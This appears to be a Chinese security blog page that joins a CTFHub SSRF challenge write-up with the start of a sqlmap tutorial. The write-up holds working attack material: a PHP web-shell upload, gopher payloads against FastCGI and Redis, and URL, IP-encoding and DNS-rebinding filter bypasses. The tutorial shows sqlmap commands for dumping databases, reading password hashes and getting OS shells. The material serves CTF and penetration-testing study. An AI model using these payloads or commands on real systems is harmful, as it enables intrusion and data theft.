Cache-Control: max-age=0 Upgrade-Insecure-Requests: 1 Origin: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800 Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/125.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7 Referer: http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php Accept-Encoding: gzip, deflate, br Accept-Language: zh-CN,zh;q=0.9 Connection: close ------WebKitFormBoundaryCkYhfsFblAQSYePb Content-Disposition: form-data; name="file"; filename="myscript.php" Content-Type: application/octet-stream <?php @eval($_POST['shell']);?> ------WebKitFormBoundaryCkYhfsFblAQSYePb-- gopher协议的俩次URL编码(第一次编码完成后需要将%0A修改为%0D%0A)前面忘记补充了gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是SSRF利用中最强大的协议得到伪造payload:?url=gopher://127.0.0.1:80/_POST%2520/flag.php%2520HTTP/1.1%250D%250AHost:%2520challenge-3fe3506777a14929.sandbox.CTFhub.com:10800%250D%250AContent-Length:%2520231%250D%250ACache-Control:%2520max-age=0%250D%250AUpgrade-Insecure-Requests:%25201%250D%250AOrigin:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800%250D%250AContent-Type:%2520multipart/form-data;%2520boundary=----WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AUser-Agent:%2520Mozilla/5.0%2520(Windows%2520NT%252010.0;%2520Win64;%2520x64)%2520AppleWebKit/537.36%2520(KHTML,%2520like%2520Gecko)%2520Chrome/125.0.0.0%2520Safari/537.36%250D%250AAccept:%2520text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7%250D%250AReferer:%2520http://challenge-3fe3506777a14929.sandbox.ctfhub.com:10800/?url=127.0.0.1/flag.php%250D%250AAccept-Encoding:%2520gzip,%2520deflate,%2520br%250D%250AAccept-Language:%2520zh-CN,zh;q=0.9%250D%250AConnection:%2520close%250D%250A%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb%250D%250AContent-Disposition:%2520form-data;%2520name=%2522file%2522;%2520filename=%2522myscript.php%2522%250D%250AContent-Type:%2520application/octet-stream%250D%250A%250D%250A%253C?php%2520@eval($_POST%255B'shell'%255D);?%253E%250D%250A------WebKitFormBoundaryCkYhfsFblAQSYePb--得到结果(´。✪ω✪。`)FastCGI协议介绍FastCGI是一种用于数据传输的通信协议,与HTTP协议相似,它提供了一个进行数据交换的通道。详细见 https://blog.csdn.net/mysteryflower/article/details/94386461CTFHub漏洞复现题目:这次.我们需要攻击一下fastcgi协议咯.也许附件的文章会对你有点帮助。git clone https://github.com/tarunkant/Gopherus.git然后使用python2执行这个脚本这里的cat /f*命令就是漏洞利用,获取flag返回的请求内容,这是我的payloadgopher://127.0.0.1:9000/_%01%01%00%01%00%08%00%00%00%01%00%00%00%00%00%00%01%04%00%01%00%F6%06%00%0F%10SERVER_SOFTWAREgo%20/%20fcgiclient%20%0B%09REMOTE_ADDR127.0.0.1%0F%08SERVER_PROTOCOLHTTP/1.1%0E%02CONTENT_LENGTH59%0E%04REQUEST_METHODPOST%09KPHP_VALUEallow_url_include%20%3D%20On%0Adisable_functions%20%3D%20%0Aauto_prepend_file%20%3D%20php%3A//input%0F%09SCRIPT_FILENAMEindex.php%0D%01DOCUMENT_ROOT/%00%00%00%00%00%00%01%04%00%01%00%00%00%00%01%05%00%01%00%3B%04%00%3C%3Fphp%20system%28%27cat%20/f%2A%27%29%3Bdie%28%27-----Made-by-SpyD3r-----%0A%27%29%3B%3F%3E%00%00%00%00编码之后的结果gopher://127.0.0.1:9000/_%2501%2501%2500%2501%2500%2508%2500%2500%2500%2501%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%25F6%2506%2500%250F%2510SERVER_SOFTWAREgo%2520/%2520fcgiclient%2520%250B%2509REMOTE_ADDR127.0.0.1%250F%2508SERVER_PROTOCOLHTTP/1.1%250E%2502CONTENT_LENGTH59%250E%2504REQUEST_METHODPOST%2509KPHP_VALUEallow_url_include%2520%253D%2520On%250Adisable_functions%2520%253D%2520%250Aauto_prepend_file%2520%253D%2520php%253A//input%250F%2509SCRIPT_FILENAMEindex.php%250D%2501DOCUMENT_ROOT/%2500%2500%2500%2500%2500%2500%2501%2504%2500%2501%2500%2500%2500%2500%2501%2505%2500%2501%2500%253B%2504%2500%253C%253Fphp%2520system%2528%2527cat%2520/f%252A%2527%2529%253Bdie%2528%2527-----Made-by-SpyD3r-----%250A%2527%2529%253B%253F%253E%2500%2500%2500%2500进行注入,得到flag,(。◕ ∀ ◕。)Redis协议题目:这次来攻击redis协议吧.redis://127.0.0.1:6379,资料?没有资料!自己找!本关还是使用Gopherus脚本尝试使用漏洞file协议读取shell.php?url=file:///var/www/html/shell.php一句话木马上传成功然后访问shell.php使用中国大蚂蚁打开终端,使用find命令查找flag*find / -name flag*这里我的结果在最后一行cat查看内容 ⁙ὸ‿ό⁙URL Bypass原理先看说一些废话吧,url重定向漏洞也称url任意跳转漏洞,网站信任了用户的输入导致恶意攻击,url重定向主要用来钓鱼,比如url跳转中最常用的跳转,在登录,支付口,也就是一旦登录将会跳转任意自己构建的网站,如果设置成自己的url则会造成钓鱼。参考 https://segmentfault.com/a/1190000021968717漏洞复现看题目:请求的URL中必须包含http://notfound.ctfhub.com,来尝试利用URL的一些特殊地方绕过这个限制吧我们可以使用HTTP 基本身份认证绕过: HTTP 基本身份认证允许 Web 浏览器或其他客户端程序在请求时提供用户名和口令形式的身份凭证的一种登录验证方式也就是:http://www.xxx.com@www.yyy.com形式,这里介绍一些常用绕过方式1.最常用的@绕过 url=http://www.aaaa.com@www.xxx.com(要跳转的页面)他有的可能验证只要存在aaaa.com就允许访问,做个@解析,实际上我们是跳转到xxx.com的 2.?号绕过 url=http://www.aaaa.com?www.xxx.com 3.#绕过 url=http://www.aaaa.com#www.xxx.com 4.斜杠/绕过 url=http://www.aaaa.com/www.xxx.com 等等等等paload如下:?url=http://notfound.ctfhub.com@127.0.0.1/flag.php(´•ω•`๑)数字IP Bypass题目: 这次ban掉了127以及172.不能使用点分十进制的IP了。但是又要访问127.0.0.1。该怎么办呢嗯,我的第一想法是使用localhost,不知道能不能行,尝试一下成功,验证了我的想法,既然localhost可以,转换为16进制试试看,payload如下?url=0x7f000001/flag.php八进制:0177.000.000.001十进制:127.0.0.1十六进制:0x7f000001既然也可以!!分析下源码吧?url=file:///var/www/html/flag.php<?php error_reporting(0); if ($_SERVER["REMOTE_ADDR"] != "127.0.0.1") { echo "Just View From 127.0.0.1"; exit; } echo getenv("CTFHUB");分析下源码吧?url=file:///var/www/html/index.php<?php error_reporting(0); if (!isset($_REQUEST['url'])) { header("Location: /?url=_"); exit; } $url = $_REQUEST['url']; if (preg_match("/127|172|10|192/", $url)) { exit("hacker! Ban Intranet IP"); } $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1); curl_exec($ch); curl_close($ch); 哈哈哈,(#`ε´# )ゞ,就是如此,只限制了127.0.0.1不能输入,但是我们可以使用localhost和十六进制进行绕过302跳转 Bypass和上一题一样,可以使用localhost进行绕过,过DNS重绑定关键词:DNS重绑定。剩下的自己来吧,也许附件中的链接能有些帮助必看原理https://zhuanlan.zhihu.com/p/89426041尝试payload进行访问?url=127.0.0.1/flag.php我们查看index.php的源码,和上一关一样。但上一关的方法却不起作用了使用dns重绑定,https://lock.cmpxchg8b.com/rebinder.html构造payload?url=7f000001.7f000002.rbndr.us/flag.phpSSRF完成,꒰#’ω`#꒱੭!原文链接:https://mp.weixin.qq.com/s/9UF8c2Ig36QI4SF6pAwlWw
2025年05月18日
1,365 阅读
0 评论
0 点赞
2025-05-18
1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透
喜欢长文吗?1w字带你了解sqlmap,从0到1,WAF绕过,高级用法一文通透前言在信息安全领域,SQL注入攻击是一种极为常见且危害严重的安全漏洞。攻击者利用Web应用程序对SQL查询的不当处理,通过注入恶意SQL代码,从而绕过安全措施,非法访问或篡改数据库中的数据。随着网络安全威胁的日益严峻,了解和掌握SQL注入攻击的检测与防御技术变得尤为重要。sqlmap作为一款开源的自动化SQL注入工具,凭借其强大的功能和易用性,成为了安全研究人员和渗透测试人员不可或缺的利器。它不仅能够帮助用户快速发现Web应用程序中的SQL注入漏洞,还能进一步枚举数据库信息、提取数据,甚至执行操作系统命令,为安全评估提供全面深入的分析报告。本文旨在通过详细介绍sqlmap的基本和高级用法,帮助读者快速上手并掌握这一强大的渗透测试工具。从基本的参数使用到高级的绕过技巧,我们将一步步引导读者深入理解sqlmap的工作原理和应用场景。同时,通过实例演示和技巧分享,帮助读者在实际操作中灵活运用sqlmap,提高渗透测试的效率与成功率。尽管sqlmap支持多种注入技术,但并不能保证能够检测所有类型的SQL注入漏洞。以下是一些sqlmap可能难以检测或无法直接检测到的注入类型: 二次注入(Second-Order SQL Injection):二次注入发生在应用程序首先接收并存储了恶意输入,然后在稍后的时间点(通常是在另一个请求中)这个存储的输入被未经验证地用于SQL查询。由于恶意输入并不是直接用于触发SQL查询,因此sqlmap可能难以直接检测到这种注入类型,除非它能够在两个请求之间正确地模拟应用程序的行为。 基于DOM的SQL注入:这种注入类型发生在客户端JavaScript代码中,而不是服务器端。sqlmap主要关注服务器端的安全漏洞,因此它无法直接检测基于DOM的SQL注入。这种类型的注入通常需要通过手动分析客户端代码或使用其他客户端安全测试工具来发现。 复杂的WAF/IPS绕过:某些Web应用防火墙(WAF)或入侵防御系统(IPS)可能采用高级的检测和防御机制来阻止sqlmap的自动化攻击。如果WAF/IPS配置得当且更新及时,sqlmap可能无法绕过这些安全措施来检测SQL注入漏洞。在这种情况下,可能需要结合手动测试、定制攻击载荷或使用其他渗透测试工具来绕过WAF/IPS。 基于存储过程的SQL注入:虽然sqlmap支持检测和利用基于存储过程的SQL注入漏洞,但某些复杂的存储过程逻辑可能使得自动化检测变得困难。存储过程可能包含多个SQL语句、条件逻辑和参数处理,这些都可能使得sqlmap难以准确预测和构造有效的注入载荷。 盲注限制:在某些情况下,由于数据库配置或网络延迟等原因,盲注(基于布尔、时间或错误消息的盲注)可能受到严重限制。如果数据库响应非常慢或几乎不提供任何有用的错误信息,那么sqlmap的盲注技术可能无法有效地工作。 非常规SQL方言:虽然sqlmap支持多种数据库系统,但某些非常规或自定义的SQL方言可能不完全兼容。如果目标应用程序使用了一种sqlmap不完全支持的SQL方言,那么可能会影响到sqlmap的检测能力。 在开始之前先上表(方便以后查表),或者截图保存好,基础使用详细的之后描述sqlmap参数表基本的sqlmap参数Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -g GOOGLEDORK 将Google dork结果处理为目标URL 请求: 这些选项可用于指定如何连接到目标URL --data=DATA 要通过POST发送的数据字符串(例如"id=1") --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --random-agent 使用随机选择的HTTP User-Agent头部值 --proxy=PROXY 使用代理连接到目标URL --tor 使用Tor匿名网络 --check-tor 检查Tor是否正确使用 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --dbms=DBMS 强制指定后端DBMS的值 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --passwords 枚举DBMS用户密码哈希值 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC 常规: 这些选项可用于设置一些常规工作参数 --batch 不要询问用户输入,使用默认行为 --flush-session 清除当前目标的会话文件 杂项: 这些选项不属于任何其他类别 --wizard 面向初学者用户的简单向导界面 高阶用法Options: -h, --help Show basic help message and exit -hh 显示高级帮助消息并退出 --version 显示程序的版本号并退出 -v VERBOSE 详细级别:0-6(默认为 1) Target: At least one of these options has to be provided to define the target(s) -u URL, --url=URL 目标URL (e.g. "http://www.site.com/vuln.php?id=1") -d DIRECT 用于直接数据库连接的连接字符串 -l LOGFILE 从Burp或WebScarab代理日志文件中解析目标 -m BULKFILE 从文本文件中扫描多个目标 -r REQUESTFILE 从文件中加载HTTP请求 -g GOOGLEDORK 将Google dork结果处理为目标URL -c CONFIGFILE 从配置INI文件中加载选项 请求: 这些选项可用于指定如何连接到目标URL -A AGENT, --user.. HTTP User-Agent头部的值 -H HEADER, --hea.. 额外的头部(例如"X-Forwarded-For: 127.0.0.1") --method=METHOD 强制使用给定的HTTP方法(例如PUT) --data=DATA 要通过POST发送的数据字符串(例如"id=1") --param-del=PARA.. 用于分割参数值的字符(例如&) --cookie=COOKIE HTTP Cookie头部的值(例如"PHPSESSID=a8d127e..") --cookie-del=COO.. 用于分割cookie值的字符(例如;) --live-cookies=L.. 用于加载最新值的实时cookie文件 --load-cookies=L.. 包含Netscape/wget格式cookie的文件 --drop-set-cookie 忽略响应中的Set-Cookie头部 --mobile 通过HTTP User-Agent头部模拟智能手机 --random-agent 使用随机选择的HTTP User-Agent头部值 --host=HOST HTTP Host头部的值 --referer=REFERER HTTP Referer头部的值 --headers=HEADERS 额外的头部(例如"Accept-Language: frnETag: 123") --auth-type=AUTH.. HTTP身份验证类型(Basic,Digest,Bearer等) --auth-cred=AUTH.. HTTP身份验证凭据(用户名:密码) --auth-file=AUTH.. HTTP身份验证PEM证书/私钥文件 --abort-code=ABO.. 在(有问题的)HTTP错误代码上中止(例如401) --ignore-code=IG.. 忽略(有问题的)HTTP错误代码(例如401) --ignore-proxy 忽略系统默认代理设置 --ignore-redirects 忽略重定向尝试 --ignore-timeouts 忽略连接超时 --proxy=PROXY 使用代理连接到目标URL --proxy-cred=PRO.. 代理身份验证凭据(用户名:密码) --proxy-file=PRO.. 从文件中加载代理列表 --proxy-freq=PRO.. 在给定列表中更改代理之间的请求次数 --tor 使用Tor匿名网络 --tor-port=TORPORT 设置Tor代理端口(非默认值) --tor-type=TORTYPE 设置Tor代理类型(HTTP,SOCKS4或SOCKS5(默认)) --check-tor 检查Tor是否正确使用 --delay=DELAY 每个HTTP请求之间的延迟时间(秒) --timeout=TIMEOUT 连接超时前等待的秒数(默认值30) --retries=RETRIES 连接超时时的重试次数(默认值3) --retry-on=RETRYON 在正则表达式匹配内容时重试请求(例如"drop") --randomize=RPARAM 随机更改给定参数的值 --safe-url=SAFEURL 在测试期间频繁访问的URL地址 --safe-post=SAFE.. 发送到安全URL的POST数据 --safe-req=SAFER.. 从文件中加载安全的HTTP请求 --safe-freq=SAFE.. 在访问安全URL之间的常规请求次数 --skip-urlencode 跳过对负载数据的URL编码 --csrf-token=CSR.. 用于保存反CSRF令牌的参数 --csrf-url=CSRFURL 用于提取反CSRF令牌的URL地址 --csrf-method=CS.. 在访问反CSRF令牌页面时使用的HTTP方法 --csrf-data=CSRF.. 在访问反CSRF令牌页面时发送的POST数据 --csrf-retries=C.. 反CSRF令牌检索的重试次数(默认值0) --force-ssl 强制使用SSL/HTTPS --chunked 使用HTTP分块传输编码(POST)请求 --hpp 使用HTTP参数污染方法 --eval=EVALCODE 在请求之前评估提供的Python代码(例如"import hashlib;id2=hashlib.md5(id).hexdigest()") 优化: 这些选项可用于优化sqlmap的性能 -o 打开所有优化开关 --predict-output 预测常见查询的输出 --keep-alive 使用持久的HTTP(s)连接 --null-connection 在没有实际HTTP响应体的情况下获取页面长度 --threads=THREADS 最大并发HTTP(s)请求数(默认值1) 注入: 这些选项可用于指定要测试的参数,提供自定义的注入载荷和可选的篡改脚本 -p TESTPARAMETER 可测试的参数 --skip=SKIP 跳过对给定参数的测试 --skip-static 跳过不显示为动态的参数的测试 --param-exclude=.. 用于排除测试的参数的正则表达式(例如"ses") --param-filter=P.. 按位置选择可测试的参数(例如"POST") --dbms=DBMS 强制指定后端DBMS的值 --dbms-cred=DBMS.. DBMS身份验证凭据(用户名:密码) --os=OS 强制指定后端DBMS的操作系统 --invalid-bignum 使用大数来使值无效 --invalid-logical 使用逻辑操作使值无效 --invalid-string 使用随机字符串使值无效 --no-cast 关闭载荷转换机制 --no-escape 关闭字符串转义机制 --prefix=PREFIX 注入载荷前缀字符串 --suffix=SUFFIX 注入载荷后缀字符串 --tamper=TAMPER 使用给定的脚本对注入数据进行篡改 检测: 这些选项可用于自定义检测阶段 --level=LEVEL 要执行的测试级别(1-5,默认值1) --risk=RISK 要执行的测试风险级别(1-3,默认值1) --string=STRING 当查询评估为True时要匹配的字符串 --not-string=NOT.. 当查询评估为False时要匹配的字符串 --regexp=REGEXP 当查询评估为True时要匹配的正则表达式 --code=CODE 当查询评估为True时要匹配的HTTP代码 --smart 仅在存在正面启发式时执行彻底的测试 --text-only 仅基于文本内容比较页面 --titles 仅基于页面标题比较页面 技术: 这些选项可用于调整特定SQL注入技术的测试 --technique=TECH.. 要使用的SQL注入技术(默认值"BEUSTQ") --time-sec=TIMESEC 延迟DBMS响应的秒数(默认值5) --union-cols=UCOLS 要测试UNION查询SQL注入的列范围 --union-char=UCHAR 用于暴力破解列数的字符 --union-from=UFROM 在UNION查询SQL注入的FROM部分中使用的表 --union-values=U.. 用于UNION查询SQL注入的列值 --dns-domain=DNS.. 用于DNS泄露攻击的域名 --second-url=SEC.. 搜索第二次响应的结果页面URL --second-req=SEC.. 从文件中加载第二次HTTP请求 指纹识别: -f, --fingerprint 执行详细的DBMS版本指纹识别 枚举: 这些选项可用于枚举后端数据库管理系统中的信息、结构和数据 -a, --all 检索所有内容 -b, --banner 检索DBMS横幅 --current-user 检索DBMS当前用户 --current-db 检索DBMS当前数据库 --hostname 检索DBMS服务器主机名 --is-dba 检测DBMS当前用户是否为DBA --users 枚举DBMS用户 --passwords 枚举DBMS用户密码哈希值 --privileges 枚举DBMS用户权限 --roles 枚举DBMS用户角色 --dbs 枚举DBMS数据库 --tables 枚举DBMS数据库表 --columns 枚举DBMS数据库表列 --schema 枚举DBMS模式 --count 检索表的条目数 --dump 转储DBMS数据库表条目 --dump-all 转储所有DBMS数据库表条目 --search 搜索列、表和/或数据库名称 --comments 在枚举过程中检查DBMS注释 --statements 检索在DBMS上运行的SQL语句 -D DB 要枚举的DBMS数据库 -T TBL 要枚举的DBMS数据库表 -C COL 要枚举的DBMS数据库表列 -X EXCLUDE 不要枚举的DBMS数据库标识符 -U USER 要枚举的DBMS用户 --exclude-sysdbs 在枚举表时排除DBMS系统数据库 --pivot-column=P.. 枢轴列名称 --where=DUMPWHERE 在转储表时使用WHERE条件 --start=LIMITSTART 要检索的第一个转储表条目 --stop=LIMITSTOP 要检索的最后一个转储表条目 --first=FIRSTCHAR 要检索的第一个查询输出单词字符 --last=LASTCHAR 要检索的最后一个查询输出单词字符 --sql-query=SQLQ.. 要执行的SQL语句 --sql-shell 提示进行交互式SQL shell --sql-file=SQLFILE 从给定文件中执行SQL语句 暴力破解: 这些选项可用于运行暴力破解检查 --common-tables 检查常见表的存在 --common-columns 检查常见列的存在 --common-files 检查常见文件的存在 用户定义函数注入: 这些选项可用于创建自定义的用户定义函数 --udf-inject 注入自定义的用户定义函数 --shared-lib=SHLIB 共享库的本地路径 文件系统访问: 这些选项可用于访问后端数据库管理系统的底层文件系统 --file-read=FILE.. 从后端DBMS文件系统中读取文件 --file-write=FIL.. 在后端DBMS文件系统上写入本地文件 --file-dest=FILE.. 要写入的后端DBMS绝对文件路径 操作系统访问: 这些选项可用于访问后端数据库管理系统的底层操作系统 --os-cmd=OSCMD 执行操作系统命令 --os-shell 提示进行交互式操作系统shell --os-pwn 提示进行OOB shell、Meterpreter或VNC --os-smbrelay 一键提示进行OOB shell、Meterpreter或VNC --os-bof 存储过程缓冲区溢出利用 --priv-esc 数据库进程用户权限提升 --MSF-path=MSFPATH Metasploit Framework安装的本地路径 --tmp-path=TMPPATH 临时文件目录的远程绝对路径 Windows注册表访问: 这些选项可用于访问后端数据库管理系统的Windows注册表 --reg-read 读取Windows注册表键值 --reg-add 写入Windows注册表键值数据 --reg-del 删除Windows注册表键值 --reg-key=REGKEY Windows注册表键 --reg-value=REGVAL Windows注册表键值 --reg-data=REGDATA Windows注册表键值数据 --reg-type=REGTYPE Windows注册表键值类型 常规: 这些选项可用于设置一些常规工作参数 -s SESSIONFILE 从存储的(.sqlite)文件中加载会话 -t TRAFFICFILE 将所有HTTP流量记录到文本文件中 --abort-on-empty 在结果为空时中止数据检索 --answers=ANSWERS 设置预定义的答案(例如"quit=N,follow=N") --base64=BASE64P.. 包含Base64编码数据的参数 --base64-safe 使用URL和文件名安全的Base64字母表(RFC 4648) --batch 不要询问用户输入,使用默认行为 --binary-fields=.. 具有二进制值的结果字段(例如"digest") --check-internet 在评估目标之前检查互联网连接 --cleanup 从sqlmap特定的UDF和表中清理DBMS --crawl=CRAWLDEPTH 从目标URL开始爬取网站 --crawl-exclude=.. 用于排除爬取的页面的正则表达式(例如"logout") --csv-del=CSVDEL CSV输出中使用的分隔字符(默认值",") --charset=CHARSET 盲SQL注入字符集(例如"0123456789abcdef") --dump-file=DUMP.. 将转储的数据存储到自定义文件中 --dump-format=DU.. 转储数据的格式(CSV(默认值),HTML或SQLITE) --eta 为每个输出显示预计到达时间 --flush-session 清除当前目标的会话文件 --forms 解析和测试目标URL上的表单 --fresh-queries 忽略会话文件中存储的查询结果 --gpage=GOOGLEPAGE 使用指定的页码从Google dork结果中获取 --har=HARFILE 将所有HTTP流量记录到HAR文件中 --hex 在数据检索过程中使用十六进制转换 --output-dir=OUT.. 自定义输出目录路径 --parse-errors 解析和显示来自响应的DBMS错误消息 --preprocess=PRE.. 用于预处理的给定脚本(请求) --postprocess=PO.. 用于后处理的给定脚本(响应) --repair 重新转储具有未知字符标记(?)的条目 --save=SAVECONFIG 将选项保存到配置INI文件中 --scope=SCOPE 用于过滤目标的正则表达式 --skip-heuristics 跳过启发式检测漏洞 --skip-WAF 跳过启发式检测WAF/IPS保护 --table-prefix=T.. 用于临时表的前缀(默认值:"sqlmap") --test-filter=TE.. 通过负载和/或标题选择测试(例如ROW) --test-skip=TEST.. 通过负载和/或标题跳过测试(例如BENCHMARK) --time-limit=TIM.. 以秒为单位设置运行时间限制(例如3600) --web-root=WEBROOT Web服务器文档根目录(例如"/var/www") 杂项: 这些选项不属于任何其他类别 -z MNEMONICS 使用短助记符(例如"flu,bat,ban,tec=EU") --alert=ALERT 在发现SQL注入时运行主机操作系统命令 --beep 在提问时和/或发现漏洞时发出蜂鸣声 --dependencies 检查缺失的(可选的)sqlmap依赖项 --disable-coloring 禁用控制台输出着色 --list-tampers 显示可用的篡改脚本列表 --no-logging 禁用日志记录到文件 --offline 在离线模式下工作(仅使用会话数据) --purge 安全地从sqlmap数据目录中删除所有内容 --results-file=R.. 多目标模式下CSV结果文件的位置 --shell 提示进行交互式sqlmap shell --tmp-dir=TMPDIR 用于存储临时文件的本地目录 --unstable 调整不稳定连接的选项 --update 更新sqlmap --wizard 面向初学者用户的简单向导界面 sqlmap基本参数使用以下是sqlmap的一些参数的基本使用,高级用法自行琢磨-u 指定一个urlsqlmap -u 'http://192.168.209.131/Less-1/?id=1'-m 指定一个文件中的多个urlsqlmap -m url.txt逐个扫描url,需要确认就按y。扫描完一个,就会提示是否存在注入点。之后进行第二个url扫描或者使用 -batch默认sqlmap -m url.txt -batch使用–batch参数,可以在所有需要用户输入的部分(通常是询问执行yes还是no,Y/N),执行默认操作,即选项大写的那个,不需要用户再输入--dbms指定该网站数据库类型sqlmap支持的数据库包括且不限于 MySQL Oracle PostgreSQL Microsoft SQL Server Microsoft Access IBM DB2 SQLite Firebird Sybase SAP MaxDB sqlmap默认情况下会自动检测Web应用程序的后端数据库的类型。在我们明确知道测试的数据库类型时,可以使用--dbms可以指定数据库。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql'--current-db获取网站当前使用的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbms='mysql' --current-db-b获取数据库版本sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -b--current-user获取当前用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --current-user--users 获取所有用户sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -users--passwords 获取用户密码sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --passwords得到结果--privileges获取用户权限sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --privileges最后面显示每个数据库用户所拥有的权限。这里root的权限最多,很明显它就是数据库的管理员账号。判断当前数据库是否是管理员账号(这里不知道为什么显示为False,前面使用privileges明明root权限最多)sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --is-dba列出指定/所有的数据--dbs列出所有的数据库sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --dbs指定数据库/表/字段-D 指定目标「数据库」,单/双引号包裹,常配合其他参数使用。-T 指定目标「表」,单/双引号包裹,常配合其他参数使用。-C 指定目标「字段」,单/双引号包裹,常配合其他参数使用。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -D 'security' -T 'users' -C 'username' --dump--tables 列出指定数据库中所有的表sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security --tables--columns 列出指定数据库中的表的全部列sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -D security -T users --columns--schema 枚举DBMS模式获取字段类型,可以指定库或指定表。不指定则获取数据库中所有字段的类型。--dump 转储DBMS数据库表条目(当前数据库/表/列中的所有内容)--dump-all 转储所有DBMS数据库表条目(爆出整个mysql数据库的数据内容)--hostname获取主机名称sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' --hostnamepost注入,要求使用burp suite抓包,将这个包中的信息,保存到一个txt文件中-r指定需要检测的文件sqlmap -r bp.txt--cookie 指定cookie信息,模拟用户登录sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --cookie='cookie'-a 等同于 -all 获取所有能获取的内容,会消耗很长时间。sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -a--search 搜索数据库中是否存在指定库/表/字段,需要指定库名/表名/字段名。比如我需要搜索security这个数据库模糊搜索一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'ser' --search这里有两个选项,选项一表示根据关键字模糊搜索,选项二表示精准搜索搜索结果精准搜索某一个表名sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' -dbms='mysql' -T 'users' --search当然也可以指定 -D 数据库,-C 字段搜索使用--flush-session参数表示清除当前目标的会话文件。 sqlmap在测试某一目标URL后会生成session文件,该文件保存了本次测试的结果信息。当我们再次测试该目标URL时,会自动加载上一次的结果就比如我们已经绕过了某个WAF,并且取得了数据结果sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id' --tamper "bypassDog2.py" --level 5 --random-agent --dump -batch此时我们不使用脚本,使用普通的一个payload,这个时候就直接出结果了sqlmap -u 'http://192.168.209.131/Less-1/?id=1' -p 'id'如果我们想要继续之前的测试,包含WAF的测试过程就需要使用清除缓存--flush-session,一切正常--technique 使用方法:sqlmap -u URL --technique 注入类型选项(可多种组合) 使用--flush-session参数可用于指定要测试的SQL注入类型,默认情况下,sqlmap会测试所有的注入类型。如果想指定测试某几种诸如类型,可以使用--technique指定。sqlmap针对每一种类型,提供了字母选项,可以组合字母选项来指定多种注入类型进行测试。备注:注入类型对应的参数 B:基于布尔的盲注 E:基于错误 U:基于联合查询 S:堆叠查询 T:基于时间的盲注 Q:内联查询 使用示例:sqlmap -u URL --technique BE表示仅测试布尔盲注和基于报错的注入。默认为BEUSTQ没有设置ua头的时候,默认是sqlmap的请求头,很容易被网站检测到sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' -v 6--random-agent 使用方法:sqlmap -u URL --random-agent 使用--random-agent参数可以指定随机选择请求头中的User-Agent。 sqlmap默认使用sqlmap/1.0-dev-xxxxxxx (http://sqlmap.org) 作为User-Agent执行HTTP请求,如下:sqlmap -u 'http://192.168.3.100:88/Less-1/?id=1' -p 'id' --random-agent -v 6--user-agent使用方法:sqlmap -u URL --user-agent="自定义User-Agent" 使用--user-agent参数可指定自定义User-Agent--mobile #模拟手机请求使用手机UA头的模拟,并根据提示选择模拟的手机类型--level 使用方法:Python sqlmap.py -u URL --level 等级 